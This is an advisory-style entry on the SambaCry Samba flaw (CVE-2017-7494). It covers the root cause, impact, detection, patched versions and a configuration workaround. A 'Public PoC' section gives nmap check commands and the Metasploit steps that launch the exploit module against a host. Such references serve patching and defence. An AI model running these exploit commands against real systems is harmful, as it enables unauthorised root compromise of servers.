SambaCry

aka EternalRed, is_known_pipename

Product: Samba Samba smbd
CVE: CVE-2017-7494
Disclosed: 2017-05-24
CVSS: 9.8
Auth: requires auth / interaction
CISA KEV: yes
Affected: Samba 3.5.0 up to (not including) 4.6.4, 4.5.10 and 4.4.14.
Fixed: Samba 4.6.4, 4.5.10, 4.4.14 (and vendor backports).

Summary

A Samba bug, disclosed weeks after WannaCry, that lets a client with write access to a share upload a shared library and get the Samba server to load it. Many NAS devices and embedded Linux systems were affected.

Root cause

smbd's is_known_pipename() accepted a pipe name containing a '/' path. A client could upload a .so to a writable share and then open a named pipe whose name is the server-side absolute path to that file; smbd would dlopen() it and execute its init function as root.

Impact

Remote root code execution for anyone who can write to a share (including guest-writable shares).

Public PoC

# check
nmap -p445 --script smb-vuln-cve-2017-7494 10.0.0.40

# exploit (writable share needed)
msf6 > use exploit/linux/samba/is_known_pipename
msf6 > set RHOSTS 10.0.0.40
msf6 > set SMB_SHARE_NAME public
msf6 > run

# workaround in smb.conf [global]
#   nt pipe support = no

Source: Rapid7 Metasploit - is_known_pipename

Detection

nmap --script smb-vuln-cve-2017-7494 -p445 <host>; Metasploit exploit/linux/samba/is_known_pipename. Check smbd -V.

Mitigation

Upgrade Samba. Workaround: add 'nt pipe support = no' to the [global] section of smb.conf.